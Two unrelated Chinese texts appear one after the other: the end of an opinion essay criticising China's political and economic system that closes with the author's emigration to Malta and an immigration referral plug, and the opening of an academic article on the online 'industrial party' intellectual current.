这几年纪检监察扩权的结果竟是,企业受到的刁难并未减少,不花钱绝难办事,但如没有熟人介绍勾兑,企业愿花钱官员也不敢要,故现在找人花钱摆平官员的中间成本,常大于以前直接给官员红包的支出。另外,财务上如何处理这些用于打点的灰色支出,以防备纪检监察查处官员时以“涉案人员”为名带走企业老板长期羁押,又成为企业的另一麻烦。按刑诉法等规定,杀了人被抓捕24小时后律师便可介入会见,这几年常有企业主被纪委监察带走失联几个月,企业上下与家属竟无从查问下落。被中国纪检监察部门“协助调查”羁押所受的非人折磨,远甚于监狱,这成为很多中国企业家难摆脱的梦魇。有西律师多年前写的《中国企业家都在通往监狱的路上》一文,道出了中国企业经营者的辛酸,至今仍不断被转发。

中国监察法缺乏程序正义,监察机关公然自谓属政治机关,而非司法机关,却可以羁押公民,且不允许律师会见,明显与现代法治相悖。厂卫滥权绝不可能带来吏治清明。恶法非法,监察法不改,中国与现代法治逾行逾远。

官员财产公开与舆论监督,已被全球文明国家证明是最有效的防腐败手段,大数据时代让官员财产公开与接受社会监督,极为容易,天朝弃而不用,非要守着粪坑打苍蝇。当前官员权力寻租又越演越烈,我写文分析过,茅台酒价格可作为中国腐败指数,今年茅台涨价竟与监察委扩权几乎同步。古谓养贼自肥拥匪自重,这微妙关系,谁解其味。

综上,公权力不受制约导致的官吏寻租与随意折腾,是中国企业最沉重的负担。民族与民粹主义增加外资的不安全感,是外资企业的额外成本。

此外政府垄断土地导致高房价,垄断上游产业控制基础原料与燃料等价格,也是中国企业成本上升的重要因素,房价是劳动者的生活成本,也即是用工企业的人工成本,员工工资起码得能够维持其衣食住行。税费水电油气排污路费红包上游原材料等,市场各项成本是环环相加传递的,成本链条上任何一环的成本,也都是另一环的成本。

中国政府对民企管束太紧攫取太多,当前中国民企外有东南亚印度等劳动力成本低廉的竞争对手,内有世界最昂贵政府的盘剥、行政干预与权力寻租,办企业辛苦还不挣钱,老板累死累活只是为政府与员工打工,不堪重负之下企业关门大吉将成燎原之势。即使没有贸易战,中国经济下滑的势头也已不可逆转。

贸易战如持续下去,将重创中国制造业。当然我认为贸易战会暂时和解。但如不能由此带来中国政治制度改良,则中国的发展仍然是他国的威胁,外资企业与外来订单仍必大量转移到他国,中国的制造业实际产出将在今后五年内萎缩近半。

(有人认为凭中国内需市场也可以大体维持现有经济规模,称中国即使少了对美国的出口,也只影响GDP几个百分点。无知之论。设想一个村里没了外出打工收入,各户将只能自耕自织自给自足,结果必是百业凋敝,也许只剩下一个水磨坊。打工收入是村里其他各业兴旺的前提与基础。外贸收入是人民币发钞之锚,而且有了稳定的外贸收入,才能带动配套产业与服务业等百业兴旺。现代金融与服务业,通常可将外贸收入通过信用放大与服务业传递,将经济GDP扩张数倍以上,中国经济目前年80万多亿人民币的GDP,约一半是靠每年2万多亿美元的外贸收入直接与间接拉动的。外贸收入才是推动中国经济多米诺的第一张牌。没有外贸收入,中国有效内需也将大幅减少——付得起钱的需求才是有效需求,没有基础收入,哪来有效内需?如果闭关锁国,中国会逐渐退化回到小农经济,经济大幅度萎缩,社会退步,被世界文明社会抛弃。)

要降低中国企业成本,首先必须大幅降低中国制度成本。要维持中国经济规模,必须维持外贸规模,要维持外贸规模,首先必须留住外资企业。现在中国连内资都留不住,企业家人心惶惶,中国经济还能继续发展吗?退一步,中国经济还能维持现有规模吗?

最关键是,2019年,中国会有制度方面的重大改变吗?如果没有改变,中国经济衰退及其后果将超过一般人想像。

三、大洪水何时再来?

安邦吴小晖被判处18年有期徒刑,安邦保险等部分被政府接管。明天系肖建华被从香港抓回,至今未获自由。万达王健林变卖资产。复星郭广昌的海外投资折戟。马云宣布2019年退任。马化腾刘强东穿红军装朝拜后公司股价大跌,此前刘强东称大数据可助二十年内实现共产主义,作为人民大学毕业生他应该知道共产主义就是消灭私有制,也许他内心已预见自己将被共产?无恒产者无恒心,几个月前强子妻女在侧仍酗酒出轨,很象是无恒心者今朝有酒今朝醉的心态使然。

对他们来说,大洪水已经来了。

很多学者与商人已感受到中国政治与经济的波涛汹涌。

开网店的小店主应也有风雨交加的感觉了。电商法规定要求所有网店都办理营业执照并纳税,依我看这举措加强社会管治控制的意图远大于收税,因为向小微企业征税,其收益很可能低于征税成本。但与几年来大城市大规模封墙关店一样,这些任性专横又愚蠢的管控举措,断了升斗小民的生路,底层民众自谋生路,政府不支持还处处设限,这些管控措施破坏了市场的正常运行,人为加大了市民生活成本与经济运行成本,批量制造出更多困难群众。

国家税务总局2018年11月27日发布的《重大税收违法失信案件信息公布办法》,规定欠税超10万元就上黑名单,经营者将被阻止出境、买房等(称“将纳税信用评价结果通报相关部门,建议在经营、投融资、取得政府供应土地、进出口、出入境、注册新公司、工程招投标、政府采购、获得荣誉、安全许可、生产许可、从业任职资格、资质审核等方面予以限制或禁止”)。

2019年1月1日起施行的《中国人民银行关于非银行支付机构开展大额交易报告工作有关要求的通知》当日单笔或者累计交易人民币5万元以上,或转帐人民币20万元以上(含20万元),就将被列入大额可疑交易进行监控。

大数据时代,人人都毫无隐私可言,有产者更如栏中猪羊,政府要清算处罚宰杀,易如反掌,到时谁能幸免?

多数人将会一直到自己与亲友谋生无着、安全有忧时,才恍然发觉,原来自己周边已是洪水齐肩,无处可逃了。

对2019年短期经济形势,许多人持审慎乐观。我对短期也不乐观,对长期更悲观。前几天央妈降准1%,据称可释放出15000亿人民币。经济滑坡时中国政府必按老套路继续大规模放水刺激经济,继续扩大公共投资以稳就业稳增长,但没有效益的投资就是消灭财富,许多政府低效项目建成后收益不够付利息,还须赔巨额运行与维护成本,成为全民负担。

中国社会缺的不是钱,是挣钱机会。中国民企海外投资渠道被外汇管制政策堵死,国内有利可图的行业被国企垄断,民企各项成本太高,普遍不挣钱,这才是中国经济的病因所在。

不除病因,只靠政府继续印钞放水扩大公共投资拉动经济,相当于进一步将社会财富向政府手中转移,稀释民众手中的财富。这样做的结果是进一步加强了政府掌控经济集中度,政府掌控的经济运行效率显然远低于民企效率,现行政策还在不断降低中国经济运行效率。这是饮鸩止渴挖肉补疮,放任中国经济陷入恶性循环。大印钞大通胀,是现行政策的最终必然结局。城市房产将成有产者最后保值工具,但同时不动产也将冻结有产者的财富,坐等官府清算盘剥。中国楼市的结局,我在《中国楼市何时跌》一文里预测过了。现在的中国经济就是一艘正开往深渊的太平轮。如果没有根本性改变,船毁人亡的结局谁也逃不过。

四、社会动荡临界点:维稳者成为被维稳对象

中国目前正处于社会经济与政治变化转折临界点,中国社会稳定与否,首先取决于经济能否稳步增长,至少不倒退。国际竞争激烈,各国经济发展如逆水行舟,不进则退,中国经济失速必使产业大量外迁,导致大量失业,引发社会动荡失序。

问:中国社会全面动荡失序的临界点在哪?

答:财政养不起庞大的吃公粮群体,大批维稳者成为被维稳对象之时。

当前5600万退伍军人已成维稳对象,此前他们曾是维稳者。3000多万事业编制人员将是第二批被维稳对象,财政已无力长期供养他们,但他们中许多人已丧失自食其力的能力。

待到经济下滑导致政府财政汲取严重不足时,协警与城管等部门中大批临时工将首先被裁,侥幸保住泥饭碗的,也只能拿微薄工资干脏活苦活,食之无味弃之可惜。

从秦朝下级军官陈胜吴广到明朝官营驿站下岗驿卒李自成,捕快张献忠,一直到辛亥革命,社会鼎革首倡者主要是失意的体制内人员。所以一味扩充维稳队伍很可能是养虎为患,维稳需要政府财力支撑,一旦财政汲取不足,最有可能成为社会动荡主力的,往往正是原来的维稳者。不改良制度,只靠暴力维稳,一定是越维越不稳。

中国资源贫乏人口老化,历年各种社会矛盾不断累积,社会原子化,缺乏士绅阶层,缺乏宗教信仰,社会一旦乱起来,必如负载过重的大货车坡道后滑,却没有刹车。中国须多少年才能走出乱治循环?大清后期幸有曾国藩左宗棠李鸿章等名将勉力维持,太平天国也乱了十四年,死人一亿多,现在体制内持续逆淘汰,恐怕难觅曾左李了。

乱世社会动荡失序,人人都是受害者。兴亡皆是百姓苦,别指望社会动荡后一定会出现一个更好的社会。

经济衰退社会动荡的中国,会回到丛林社会。手中有一点点权力与武力者,都将变本加厉盘剥民众,敲骨吸髓。同时自己也朝不保夕,时刻可能成为他人猎物。商人成为权力食物链的终端食物,各种变相的打土豪分田地政策将明目张胆,甚至获得大众欢呼喝彩。目前几个商界大佬已成笼中猎物。影视明星们粉丝无数,平时看似神通广大,但近半年来他们面对公权力各种关门打狗式的查税清算盘剥,噤若寒蝉束手无策,一些民众还拍手称快。如轮到你我,谁比商界大佬与影视明星们更有自保能力?

经济下滑也将导致中国最大的中产阶层——干部阶层的生活水平全面下降,靠山吃山,到时候权力寻租现象将更加失控。中国纪委与现监察委,多年来以非法治的严厉手段管控干部,一方面对干部有相当的威慑作用,一定程度起到了抑制公权力寻租的效果;另一方面污染了法治的源头——现在干部是对法治最没有信仰敬畏的群体,做事消极怠工,对监察委畏而不敬,工作动力全靠高福利与灰色收入撑着。一旦干部的现有收入与高福利难以为继,铁饭碗成为鸡肋,那时官员将对纪委监察部门不敬也不畏,而政权维稳还需要他们,其权力寻租必更肆虐,法不责众,监察部门明知普遍贪腐也只能挣只眼闭只眼,且监察人员一样会利用权力寻租,既敲诈“肥鸭子”干部,也可能猫鼠合流,合谋敲诈关联的企业主,共同分赃。

理论上,中国挟其经济体量与产业链完整,闭关锁国也可象康乾时代一样自给自足,只是那样的话,民众生活品质会退回到上世纪八十年代初。其中受影响最大的自然是中产阶层——而中国干部就是当前最大的中产阶层,到时必群体性抗命,对上阳逢阴违,对下纵容劫掠。非民选的官僚阶层,历来具有单向棘轮效应:有利于其扩权寻租的政令,如扩大投资、增加行业限制、加强对企业与民众管治,必变本加厉迅速落实,与此相反的事,必一拖二推三对抗,三令五申,仍难落实。

官僚阶层有其自己利益与相对独立性,当前官僚阶层对邓式“改革开放”有共识,正明里暗里顽强抵抗极左派开倒车,在努力将倒开的车子拽住,往胡温时代的方向推。近来一系列自相矛盾的政策,就是激烈博弈的体现。但他们只是希望中国政局回到胡温时代,那个较现在相对自由宽容的年代——包括对官员腐败的宽容。而世界宪政民主潮流已浩荡向前,中国内外的环境也已发生重大变化,互联网加速了世界一体化,社会停滞即是倒退。

“保卫改革开放”如被曲解为回到江胡时代,绝对解决不了上文所说的降低企业综合成本的问题。稳定压倒一切的维稳思维,解决不了执政党自身恶性膨胀的问题。中国现在的问题就是这种维稳思维的结果。执政者拿刀砍百姓容易,砍自己就下不了手,所以天朝多年口喊精兵简政,越减机构越臃肿,已成为中国社会不可承受之重。

因此有学者提出“告别改革开放”,可以理解,但如何做到?保卫派与告别派的目标并无区别,应该怎么样,认识都一致。能够怎么样?不是越激进者就越高尚,不是越激烈就效果越好。动机不重要,行为客观效果更重要。能够一步飞跃当然好,如何做到?如不能一步飞跃,那么日拱一卒,积跬步致千里的渐进改良,不该被嘲讽。真正的改革开放是包括执政阶层在内的中国人共同利益所在,需要“咸与维新”。

需明白当前中国只有两项选择:或前进过渡到民主宪政,和平转型;或退回到极权专政,最终走向崩溃。

五、维稳四策

我的许多朋友在国内建言抗争,知其不可为而为之,我对他们深怀敬意。2019年元旦前,我们近百位朋友以《中国百位公共知识分子“改革开放”四十年感言》为题,各人说了一句话。我只是小商人,不算知识分子,但与他们同气相求,也忝列其中说了句:有利于私有产权保护与自由市场经济的才是改革,改革方向应该是增加人的自由。

中国如能避免动荡和平转型,是国人之幸。社会变革要以人为本,兴亡皆是百姓苦,什么主义不重要,民众福祉为重。从这个角度说,我是坚定的维稳改良派。位卑未敢忘忧国,在此我提出四点施政建议:

1、实行宪政,接受普世价值

2019年内召开政改会议,有序推进宪政民主。宪政即是限权,对政府限权,才能落实政府部门精兵简政。政府简政减人,才能对企业与民众减负。对民企大幅减负,才能稳经济。

中国实行民主宪政,接受普世价值,才能真正融入世界,中国的发展才不会被视为对文明世界的威胁。中国才能发挥比较优势,在世界贸易分工体系中保持现有份额。如此执政者才是真正执政为民,造福全体国人。

宪政是人类世界共同文明成果,没有什么地域性与特殊国情不能适应问题。二战后麦克阿瑟将几个美国年轻人关在一处密室里九天,完全按美国人思维捣鼓出一部日本宪法,七十多年来一字未改,助日本发展成了国民幸福指数居世界前列的现代国家。

接受宪政首先是接受政治多元,明智的执政者要主动培养温和的反对派,促进社会和平转型,这样才能避免社会血腥冲突。没有永远的执政党,掌权时加于他人身上的,最终都会回到自身或后代身上。种瓜得瓜,与暴力统治相随的是血酬定律。

思想自由与信仰自由,是宪政民主的基础。当前封号删贴压制言论自由,打压迫害基督徒与部分少数族群,严重侵犯人权,应当立即停止。信仰自由是基本人权,宗教是良善社会的稳定因素。

拒绝普世价值,放着大路不走,非要“艰难探索”,非蠢即坏。如以一己之私绑架整个执政阶层一同走向深渊,终会被觉醒者抛弃铲除。从齐奥塞斯库萨达姆卡扎菲,独裁者的下场前车可鉴。中国体制内汇集了中国大部分精英,变革也是他们的迫切需要。有朋友预言,上如不主动改行宪政,二年之内,必有巨变。我不敢如此乐观,但我知道,现状绝不可能持续。如无良性巨变,开倒车结果大概率是车毁人亡,那时候所有人,要么成为施暴者,要么成为暴力的对象,一些人既是施暴者又是受害者,一切中产者,包括干部群体、白领与企业主,都将是暴民暴力指向的对象,现在的左中右,其实都属中产,到时统统玉石俱焚。

实行宪政是兼顾利益受损者,保全既得利益者的万全之策。

2、放开除军事工业之外的所有行业垄断。

全面放开对银行、石油、通讯、移动、互联网、电力、铁路、高速公路、航空、煤、气、水、矿产、冶金、化工、医疗、教育、保险等所有行业的国有垄断,能释放巨大经济活力。

中国实际有四大征税系统:国税地税社保已合并,算一家。国企其实是第二征税系统,国企垄断了民众躲不开的“国计民生”行业,国企垄断溢价具备税收特征:固定、强制、无偿。国企低效浪费,只会消灭财富,主政者应也很清楚,但国企是党产,是利益集团的小金库,国企亏损相当于征税成本,利益集团绝不会轻易交出的。土地财政是政府第三征税系统,现在地方政府卖地所得一年达五万多亿,少了土地财政,许多地方政府得停摆。四是可随意印钞发债的中央银行与财政系统。印钞通胀稀释民众存款购买力,掠夺升斗小民财富于无形,印钞是收铸币税,富人还可通过购房换汇抵御通胀,通胀最大受害者是穷人。

去产能与环保风暴,去的是民营企业产能,保的是相对低效的国企,严重破坏社会生产力。现在面对经济滑坡,苛政略有缓和,但许多民企已元气大伤,肆虐不受节制的公权力如达摩克利斯之剑高悬民企头项,随时可让民企老板人财两空,何况政府从未承认做错,很多企业仍永远处于半违法状态,战战兢兢信心不再。

只要仍坚持做大做强国有经济,民企就没有发展空间。裁判员坚持要下场踢球,那么游戏就无法继续。只有放开国企对上游行业的垄断,让利于民,中国经济才能恢复活力。

3、放开对土地利用的过多限制,对土地功能松绑。

土地是国民最重要财富,中国土地垄断为公有,已成为限制土地财富效应发挥的桎梏。土地私有是大方向,目前急需政府首先放松对土地利用的过多限制,以市场手段调节土地需求,放开对土地功能、容积率等等的过多限制,允许土地使用权由民企与民众个人自由交易,这样便可极大释放土地作为最重要财富的潜在价值,减少土地闲置浪费,为国民创造更多财富。

2018年12月23日至29日举行的第十三届全国人民代表大会常务委员会第七次会议审议通过的《土地管理法》修正案草案,确定集体建设用地可以不经过征收,直接进入市场。为打破政府土地垄断开了一个口子。但这必与土地财政产生冲突,地方政府既是利益主体又是裁判员,岂会允许“农民集体”口中夺食?如废除土地财政,中国大多数地区的地方政府将立即停摆。如何才能让地方政府对这与己争利的法律让步,不会以公权力横加限制,使该法条规定的权利永远停留在纸面上? ——必须大幅减少地方政府的事权,为地方政府减负。

中国地方政府间的主动竞争,曾是推动经济发展的重要推力。这前提是土地既然已经被强制公有,那么通过地方政府间的竞争,竞相开发工业区,将农地转变为工业用途,释放土地级差收益,客观上也有助于初步明晰产权,地方政府与官员获利的同时,也推动了中国经济快速发展。在这方面各地方政府就是一家家公司,公司间竞争降低了投资者的初始进入成本。中国在基础设施建设与城市建设方面,“体制优势”是很明显的,中国城市建设的效率确实世界第一。但到现在,这个土地公有制基础上地方政府竞争的特殊红利,已经穷尽,土地成了政府攫取民众财富的重要工具,高房价透支了普通民众大半辈子的收益,企业员工的居住成本,就是企业用工的工资成本,高房价已成为民众与企业不可承受之重,公有制土地资源的配置低效浪费又显失公平,到了不改不行的时候了。

释放土地利用方面的制度红利,对各方都是帕累托改进,目前地方政府与企业都有极大积极性,需要改变的是中央对土地利用的僵死控制,所谓18亿亩耕地红线,纯是拍脑袋决策,新的遥感数据显示,实际中国现有耕地超过23亿亩,拿出5%便足以满足工业化与城市化的需要,可大幅降低民众生活成本,降低企业综合成本,提高中国企业国际竞争力。

4.取消户口限制,取消附加于户口上的特权。

城市化趋势是大城市化,大城市大大提高经济与创新效率。中国严格控制特大城市的发展,逆大城市化,严重损害经济效率与创新效率。中国控制特大城市发展出于政治考量,担心经济滑坡后大量失业人员集聚于大城市,成为动乱之源。但人是活的,大规模回乡创业显然是骗人,农业劳动低效低收益,且中国农村劳动力一直严重过剩。

取消大城市户口限制,允许国人自由在大城市购房、居住、就业、就学,取消附加于户口上的种种福利,让人力资源自由流动,便能极大释放经济活力。目前驱赶“低端人口”的种种做法,侵犯人权,损害经济,也不可能真正利于社会稳定。民以食为天,经济好社会自然稳定,经济不好,再严苛的限制也无法将农民禁锢于土地上,无法阻止农民为生存的各种抗争。

以上这四条建议合起来就四个字:增加自由。

经济发展、企业创新,都是私营企业自身的本能需求,本不需要政府太费力引导,真正保护好私有产权,放松土地利用限制,给民众更多自由,经济发展与创新都是必然的结果。而要真正保护私有产权,须先对政府限权,政府解除国企行业垄断与资本管制,把言论自由还给民众,这是产权保护的基础条件。贸易战与很多国际冲突,根源皆是价值观冲突,中国执政党如实行宪政,退一步便海阔天空。

目前中国社会变革需要体制内外有远见的精英诚意合作。和平转型应当是体制内外精英协作的结果。宪政限权需要精英间相互尊重,充分榷商,求同存异。

中国精英目前仍大多在体制内,体制内外的社会精英们,更清楚社会问题所在,更容易接受宪政。消灭了精英的社会,必定只剩下愚昧鲁莽无序。宪政的本义是接受多元利益主体和平榷商,体制内精英也是重要利益主体之一。社会和解需要博大胸怀,我们的祖辈父辈已流了太多的血,不要再流血,不要再使用暴力,靠暴力建立不起宪政民主——革命者付出的代价越高,越不可能放弃到手的权力,那时革命者又会成为另一专制者,屠龙者又会变成恶龙。任何权力都需要制衡,宪政不是夺权,需要的只是对公权力限权。

如何让拿刀的手放下刀?当他们感受到没有威胁的时候。和平而坚韧的宪政民主改良主义者,是中国仅存的和平转型希望所在。如仍然简单粗暴地打压他们,则会错失中国的和平改良机会。执政阶层长期暴戾的施政过程,累积了太多的仇恨,如何平和主动地转型,解决权力和平交接的问题,是执政阶层的最大利益所在。台湾当年二二八的血腥记忆犹新,38年戒严白色恐怖,也不乏血债民怨,最终和平转型,四百万外省来的“统治阶层”,与本省籍民众和睦相处,台湾华人用宪政民主解决了历史清算问题,已为社会和解与平稳转型作了很好的示范。

(我以后有时间再写一篇《和解与转型正义》,详细说说这个话题)。

中国新的历史转折已经开始,我们都有幸亲历历史。是顺应潮流,推动社会和解与宪政转型,还是任性妄为,玉石俱焚?在中国这艘大船上的所有人,为了你的家人与亲人,为你自己与子孙后代,请担当起历史使命,从自己做起,拒绝倒退,践行宪政。释放善意,促成社会和解与良性转型。

为政者,请放弃斗争思维,与世界和解,让民众自由。

以上四条建议,任何一条都能释放巨大的发展潜能。如能在今后三五年内全部做到以上四条,中国仍大有希望。中国正面临越来越大的内外压力,如2019年天朝在这四个关键问题上仍逆流而动一条也不改,委内瑞拉与津巴布韦就是我们不远的未来。

那么朋友们,自求多福,能离开的,及早安排。

六、结语:地中海畔,春暖花开

仍放不下家国情怀,倏忽间我已年过半百,世界还有多少未知值得探索,远方有多少风景值得拥抱。造物主创造了我们,是为了让我们享受生命、爱与安宁,不是为了让我们互相仇视怨恨互害。如果你在故国不能舒心如意,只能尝试去迁徙,去寻找,人类的历史就是迁徙史,天涯何处无芳草。

我已能从飞机上俯瞰地中海的粼粼波光,我知道此刻中原大地正白雪皑皑寒风凛冽,而此时地中海沿岸恰是暖风和煦花开正妍。欧罗巴是上帝垂顾的地方,地理位置上,马耳他恰是地中海的“海心”,地中海数千年波澜壮阔的历史,凝结成马耳他这个天主教小国的祥和安宁,这里是基督教从中东传播到欧洲的第一站,仅半个新加坡大的欧洲小岛国,七千年文明历史赋予她建筑丰富内涵,蓝色海洋文明孕育了她的智慧与文化,英吉利帝国150多年的殖民统治带给她宪政法治与悦耳英语,地中海的蔚蓝衬映着马耳他当地特有石材砌成的历史建筑,色彩明亮而柔和。我正要降落到她的怀里。

朋友们,以后欢迎你来马耳他找我游玩,地中海是维纳斯的故乡,永远波光潋滟风姿绰约,地中海美食与宜人气候世界闻名。人生几何,欢迎你抽空来地中海,与我把酒临风,纵论天下。我已先到一步,我在地中海马耳他岛,等待你来。

注:我在香港飞马耳他的航班上,用手机写的此文草稿。现在我已到马耳他共和国,居住下来了。中国春节前夕,马耳他温暖如春。

我们马来西亚的诺亚方舟也备好了,我与朋友们买的吉隆坡几十套房屋大部分已经由运营airbnb的公司经营管理,平时短租为主,随时可自用与接待朋友。但马来西亚国家的第二家园十年居留计划暂停了,估计马来西亚政府要重新评估第二家园居留计划了。我的十年签已近到期,如何续展待复。马来西亚是非移民国家,第二家园也只是十年居留许可。现在全世界都在逐渐对中国人关上移民大门,发达国家中目前只有地中海周边几个国家还在以较低门槛接纳移民,我选择再办个马耳他共和国永居,方便到欧洲其他申根国旅行。地中海温暖舒适,马耳他是英语国家,存25万欧元就可获得永居权,手续最便捷。一位野夫兄原大理山水间小区的邻居,现已移居马耳他,在马耳他一家律师所兼职做翻译,帮我申请了马耳他永居手续,免了我移民公司收取的中介费,帮我直接与马耳他共和国移民律师沟通,更便捷高效。我在文后给打个广告,表达谢意。马耳他还开放小孩留学家长陪读。要办马耳他移民与留学的,加这微信二维码,我的朋友们可免中介费,帮助直接快捷高效地与马耳他移民律师事务所及学校对接,办理移民与留学手续。有意办理马耳他移民与子女留学的,请扫此微信二维码:

终于有学者认真研究“工业党”了,这篇是其中的精华之一

$
0
0
终于有学者认真研究“工业党”了,这篇是其中的精华之一
发布人:   发布时间:2018-10-08   浏览次数:
作者:卢南峰丨北大新闻与传播学院新闻学硕士研究生

吴 靖丨北大新闻与传播学院教授、博士生导师

网址:https://mp.weixin.qq.com/s/gqOEOD0TjpPREjsHe82DYA

本文系《东方学刊》“政治”栏目文章之一

【内容摘要】“工业党”是中国互联网上一个联系松散的知识群体,代表一股成分驳 杂的社会思潮,其主张是用工业化程度和社会转型之间关系的知识体系处理国家发展和社会治理问题。“工业党”是理解当代中国青年历史认知与政治想象的一个抓手,也是进入当代中国网络意识形态光谱、理解实践中的公共领域动态的一个入口。本文采用深度访谈和文本分析的方法,将“工业党”群体及其思潮与宏观社会结构变革相结合,并对这一社会思潮进行政治分析,论证21世纪初“工业党”思潮对20世纪80 年代(以下简称 80 年代)和 90 年代问题的同时回应,完成了80 年代宏大叙事与90年代工具理性的嫁接,并在90年代后“去政治化”的氛围中召回了宏大叙事。而这些知识体系的搭建和知识生产与共识达成的活动,基本上是在民间性质的言论平台上完成的,代表了中国社会政治阶层生成的一种现实模式。

关键词:工业党;网络民族主义;观察者网;自干五;现代化叙事

一、谁是“工业党”?

2018年“美国制裁中兴事件”将“中国制造”的“缺芯”困境戏剧性地砸在中国公众和知识群体面前。网民或批判中国公司不遵守国际规则招致恶果,或反思中国核心技术依赖进口发展滞后,或警惕冷战对抗逻辑重新主导世界,或庆幸美国当头一棒倒逼中国自主研发。在话语纷扰中,一支将工业化知识背景和科学主义理念与民族主义立场相结合的网络话语力量异军突起,主导了围绕这一议题的公共讨论。

正如近来舆论场上的讨论所反映出来的,人们最大程度地摆脱了那些似是而非、自相矛盾的政治哲学“大词”的折磨,也最大程度地排除了那些故弄玄虚、自说自话的经济理论模型的干扰,既然核心问题是芯片和科技,那么即使涉及中美关系这个庞杂问题,也同样可以运用科学的思维、按照科学的方法来理解问题、讨论问题并寻求解决问题的途径。[ 文扬:《也许这是一场及时爆发的技术战争》,观察者网http://m.guancha.cn/WenYang/2018_04_24_454658.shtml?from=singlemessage,2018-04-24.]

这支话语力量在互联网舆论场中有时被称为“工业党”。根据目前可考的文本,这一命名最早出自王小东2011 年的文章《中国的工业化将决定中国与世界的命运—兼论“工业党”对决“情怀党”》。在这篇文章中,“工业党”是区别于“情怀党”的群体和思潮,前者思维方式偏向于科学家和工程师,后者则类似于农业文明时代的纯粹文人,文章将当前中国主流知识界的左右两派都归为“情怀党”。“工业党”信奉生产力与技术至上,认为工业化的价值超越政党、政权的更替、政治制度与一时的文化思潮。[王小东:《中国的工业化将决定中国与世界的命运—兼论“工业党”对决“情怀党”》,载《绿叶》,2011年第1 期.]

但作为一种立场、逻辑和话语策略的“工业党”并非近两年横空出世,它有着十余年的发展脉络。“工业党”思潮大致萌芽于21世纪初的军史时政类BBS,当时一批具有理工科知识背景的网络民族主义者聚集在反自由派言论的大旗下。然而,网络民族主义的人员构成十分驳杂,除了爱国的基本共识,“在意识形态上是没有立起什么东西”(访谈记录 J20180407),缺乏共同的思想支撑与行动目标。在这种“没有什么凝聚点”(访谈记录J20180407)的状态中,“工业党”初具雏形的思想体系开始浮出水面,其核心是用理工科的科学精神和工程思维改造所谓的“文科”知识,以介入中华人民共和国(以下简称共和国)历史叙事和国家发展路径的讨论中。其萌芽的标志性事件是2004年底到2005年初论坛上的意见领袖钟庆与陈经关于中国工业化路径的长篇网络论战。后来钟庆一方将论战文稿结集成书,于2005年出版了“工业党”早期的重要出版物《刷盘子,还是读书》。这批“民间青年学者”聚集于网络空间的边缘地带阐发其对政治经济的看法,在沟通交流中达成了关于共和国历史和国家发展路径的基本共识,并组织起最初的成员与受众。

另一个对早期“工业党”思潮形成至关重要的载体是网络穿越小说。当时各大军史时政BBS大都辟有专门的“穿越版”或“架空版”供网友挥洒政治军事想象,通过想象创作弥补近代中国落后挨打的历史缺憾。最为著名的“工业党”小说《临高启明》起源于2006年音速论坛的军事架空版上的讨论。相较于一般男性向“爽文”,“工业党”小说极其强调技术与工程细节,不厌其烦地论证现实可操作性, 展现从无到有建立大工业生产的具体步骤,《临高启明》就由于这种现实可操作性而被誉为“穿越说明书”。

2008年后,网络民族主义迎来了一波高潮。2008年4月前后,Anti-CNN网站成立,后更名为四月网,成为反击西方媒体歪曲报道的民间阵地。但四月网同样面临“没有什么凝聚点”的问题,它的早期人气随着西方媒体报道回归正常而遭遇困境,内部又面临严重的经营问题,最终走向了分裂。[曾鸣:《四月的“叛徒”:一家“正面民族主义网站”的成立与分裂》,载《南方周末》http://www.infzm.com/ content/96821,2013-12-19. ]2012年观察者网继之而起,较之四月网的理念依附性,观察者网则致力于打造理念自主性,资方与管理层尝试打造一套兼具民族性和现代性的“中国立场”话语解释“中国模式”。而随着“马前卒”等“工业党” 进入观察者网,观察者网在一些“工业党”代表人物眼里成为“第一个明确的‘工业党’思维为主的网络宣传阵地,对‘工业党’名称及其相关思想的传播,影响非常大,甚至可以说是不可替代的作用”(访谈记录 K20180407)。当然需要注意的是,“工业党”只不过是一种思想倾向而不是具有实体的组织,观察者网也不是纯粹的“工业党”的“大本营”。“工业党”话语只是“思想与资本的合作关系”。(访谈记录J20180407)

同样在2012年,“马前卒”等4位80后[ 80后又称八零后,“80后”一词来源于国际社会学家们讨论社会发展一代名词。社会学家把第二次世界大战以后每10年分成一个阶段加以研究,80后就是1980年1月1日至1989年12月31日出生的人群,有时也泛指出生于1970年代末期,即改革开放以后的中国年轻一代。70后,90后如上.]合著出版了《大目标:文明与这个世界的政治协商》,尽管后来“马前卒”在知乎问答中直言“我不是工业党”,[参见究竟什么是工业党?有自认为是工业党人的权威定义吗?— 马前卒的回答 — 知乎https://www.zhihu.com/question/19590959/answer/34954146. ]但这本书仍被视作80后“工业党”的“宣言”,其核心主张是“用‘工业党’的方式把工业社会的发展看作一个工程问题来处理”。随着互联网从门户网站向社交网络发展,2011年,网络民族主义群体从BBS和门户网站转战社交网络,微博上“自干五”[“自干五”,全称为“自带干粮的五毛”,指那些自觉自愿为社会正能量点赞、为中国发展鼓劲的网民. ] 群体兴起,“公知”的污名化开始。“工业党”代表人物逐渐成为微博和知乎等社交网络上的大V,源源不断地进行知识和话语的输出。值得注意的是,知乎社区并未形成如观察者网般明确的“工业党”思潮,但从其宏观趋向上仍能看出“工业党”思想的倾向,诸如国际知识精英强烈的中国认同、对西方主流媒体和自由派话语的免疫、对中国工业化建设经验和实用主义施政经验的认同、在民族宗教问题上的态度等。[卢南峰 ,许诺 , 吴靖:《辨析“川普粉”现象—唐纳德·特朗普作为中国知识青年议题》,载《汕头大学学报 ( 人文社会科学版 )》,2017年第1期,第69-77 页.]这些基本立场的相似性,为“工业党”思维在知乎的蔓延提供了土壤。

正如“工业党”早期论战所揭示的,“工业党”内部存在不同的支流,为了行文叙述的方便,这里将他们粗略地分为三类:强调独立自主、自力更生建设基干工业的“基干工业党”,支持改革开放经济制度、强力促进工业化进程的“经济工业党”,由于迷恋军事技术装备而支持大工业发展的“军宅工业党”。需要注意的是,这并非“工业党”自己认可的分类方式,各个支流之间也不是泾渭分明,这里仅仅是提示读者注意“工业党”内部不同叙事之间的张力,并勾勒“工业党”内部人员构成的大致轮廓。

